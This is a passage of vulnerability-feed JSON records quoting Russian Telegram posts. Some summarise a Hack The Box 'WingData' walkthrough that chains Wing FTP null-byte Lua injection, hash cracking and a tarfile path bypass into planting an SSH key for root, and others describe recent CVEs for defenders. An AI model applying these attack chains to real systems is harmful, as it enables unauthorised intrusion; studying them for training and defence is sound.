\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 tar \u0447\u0435\u0440\u0435\u0437 tarfile.extractall(filter=\"data\") \u27a1\ufe0f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c CVE-2025-4517 (PATH_MAX overflow \u0432 os.path.realpath() \u043e\u0431\u0445\u043e\u0434\u0438\u0442 filter=\"data\" \u0432 Python 3.12.3, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438) - \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .tar \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432 - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u0432\u043e\u0439 SSH public key \u0432 /root/.ssh/authorized_keys \n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - WingData, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-04T13:00:25.297792Z"}, {"uuid": "87ddd094-22b3-476b-bdda-83b45206894f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45809", "type": "published-proof-of-concept", "source": "Telegram/YATBjGv1AUVJLpNMJm72RARmYZVz0VG6CIM_Ts3vJTWRmVw", "content": "", "creation_timestamp": "2026-05-19T09:00:04.000000Z"}, {"uuid": "59682785-beda-47f6-b9ee-072b5099e3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45809", "type": "seen", "source": "Telegram/hq1WnakkbxJpSdatpwq9NAKRiUtHFa8ysgfQqaCqIO8mwqo", "content": "", "creation_timestamp": "2026-05-25T09:00:04.000000Z"}, {"uuid": "87823123-ff68-45eb-82f7-c847e51ac739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://t.me/bagl3y_notes/280", "content": "\ud83d\udfe2 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \ud83d\udc9a \u0442\u0430\u0447\u043a\u0438 \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f   \u0410\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u043b\u043e\u0433\u0438\u043d (\u044e\u0437\u0435\u0440 anonymous \u0441 \u043f\u0443\u0441\u0442\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c) \u043d\u0430 Wing FTP Server v7.4.3 \u27a1\ufe0f\u0438\u0449\u0435\u043c \"Wingftp v7.4.3 exploit\", \u043d\u0430\u0445\u043e\u0434\u0438\u043c CVE-2025-47812 (null-byte injection \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f Lua-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b) \u27a1\ufe0f  \u0432 /opt/wftpserver/Data \u043d\u0430\u0445\u043e\u0434\u0438\u043c XML-\u0444\u0430\u0439\u043b\u044b \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0441 salted SHA256-\u0445\u0435\u0448\u0430\u043c\u0438 (SHA256(pass + \"WingFTP\")), \u0431\u0440\u0443\u0442\u0438\u043c \u0447\u0435\u0440\u0435\u0437 hashcat mode 1410 - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f wacky  \u27a1\ufe0f \u0447\u0435\u0440\u0435\u0437 su / SSH \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0430\u043a wacky, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c sudo -l - \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u0430\u043a root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u043a\u0440\u0438\u043f\u0442 restore_backup_clients.py, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 tar \u0447\u0435\u0440\u0435\u0437 tarfile.extractall(filter=\"data\") \u27a1\ufe0f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c CVE-2025-4517 (PATH_MAX overflow \u0432 os.path.realpath() \u043e\u0431\u0445\u043e\u0434\u0438\u0442 filter=\"data\" \u0432 Python 3.12.3, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438) - \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .tar \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432 - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u0432\u043e\u0439 SSH public key \u0432 /root/.ssh/authorized_keys \n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - WingData, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-05T00:00:40.880651Z"}, {"uuid": "b45ca9e4-03d9-4fca-9923-bbeea1085e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116650418820662829", "content": "Attention, elevated activities detected targeting D\u00edgitro NGC Explorer (CVE-2025-4528) https://vuldb.com/vuln/308273/cti", "creation_timestamp": "2026-05-28T04:55:35.313261Z"}, {"uuid": "31a4a9b1-6b2b-4253-9346-51553e7e10f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45931", "type": "seen", "source": "https://t.me/purp_sec/833", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE\u20112025\u201132463 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 sudo, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 --chroot (-R). \u0418\u0437\u2011\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 sudo \u043f\u0440\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u043f\u0443\u0442\u0435\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e chroot-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c /etc/nsswitch.conf \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e root.\n\n\ud83d\udd35 CVE-2025-47812 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c null-byte injection \u0432 Wing FTP Server. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 (\\0) \u0432 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root/SYSTEM \u0431\u0435\u0437 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49596 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c type confusion \u0432 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Google Chrome. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49520 \u2014 \u0431\u0430\u0433 \u0432 RedHat Ansible Automation Platform (\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 EDA), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043d\u043e\u0439 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 Git URL. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432 Git-\u0430\u0434\u0440\u0435\u0441, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 EDA worker. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0432 \u0441\u0440\u0435\u0434\u0430\u0445 Kubernetes/OpenShift.\n\n\ud83d\udd35 CVE-2025-45931 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0435 D\u2011Link DIR\u2011816\u2011A2, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system() \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435 bin/goahead, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 HTTP\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u0427\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 system \u2014 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:10.532775Z"}, {"uuid": "2ae41be2-a93b-4884-b37d-b9786ddbd63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://t.me/purp_sec/715", "content": "\ud83d\udd12 Qualys \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043c\u043f\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 Linux\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438\u0437 /etc/shadow, \u0437\u0430 \u0441\u0447\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0430\u043c\u043f\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\ud83d\udd35 CVE-2025-5054 \u2014 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 apport, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PID (\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430). \u041f\u0440\u0438 \u0441\u0431\u043e\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 apport \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e _check_global_pid_and_forward \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 consistency_checks, \u0441\u0432\u0435\u0440\u044f\u044e\u0449\u0435\u0439, \u0447\u0442\u043e PID \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443. \u0415\u0441\u043b\u0438 PID \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, apport \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0434\u0430\u043c\u043f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a.\n\n\ud83d\udd35 CVE-2025-4598 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 systemd-coredump, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043c\u043f\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e SUID-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041a\u043e\u0433\u0434\u0430 SUID-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438\u0437-\u0437\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0431\u043e\u044f, \u044f\u0434\u0440\u043e Linux \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 core dump, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u041f\u043e\u043a\u0430 systemd-coredump \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043b core dump, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c PID reuse \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u0442\u0435\u043c \u0436\u0435 PID. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0438\u0433\u0440\u0430\u0435\u0442 \u0433\u043e\u043d\u043a\u0443, systemd-coredump \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e core dump \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442 \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0435.\n\n#blue_team #Linux", "creation_timestamp": "2026-08-14T16:00:12.610882Z"}, {"uuid": "3b4919a0-927e-406a-b6fe-74b02739db05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "published-proof-of-concept", "source": "https://t.me/bagl3y_notes/280", "content": "\ud83d\udfe2 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \ud83d\udc9a \u0442\u0430\u0447\u043a\u0438 \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f   \u0410\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u043b\u043e\u0433\u0438\u043d (\u044e\u0437\u0435\u0440 anonymous \u0441 \u043f\u0443\u0441\u0442\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c) \u043d\u0430 Wing FTP Server v7.4.3 \u27a1\ufe0f\u0438\u0449\u0435\u043c \"Wingftp v7.4.3 exploit\", \u043d\u0430\u0445\u043e\u0434\u0438\u043c CVE-2025-47812 (null-byte injection \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f Lua-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b) \u27a1\ufe0f  \u0432 /opt/wftpserver/Data \u043d\u0430\u0445\u043e\u0434\u0438\u043c XML-\u0444\u0430\u0439\u043b\u044b \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0441 salted SHA256-\u0445\u0435\u0448\u0430\u043c\u0438 (SHA256(pass + \"WingFTP\")), \u0431\u0440\u0443\u0442\u0438\u043c \u0447\u0435\u0440\u0435\u0437 hashcat mode 1410 - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c 